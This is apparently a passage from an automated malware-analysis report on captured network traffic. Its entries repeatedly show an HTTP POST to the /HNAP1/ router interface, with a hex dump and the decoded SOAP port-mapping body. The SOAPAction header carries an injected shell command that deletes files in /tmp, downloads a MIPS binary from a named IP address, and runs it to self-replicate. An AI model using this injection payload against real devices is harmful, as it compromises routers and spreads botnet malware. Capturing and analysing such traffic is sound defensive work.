64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
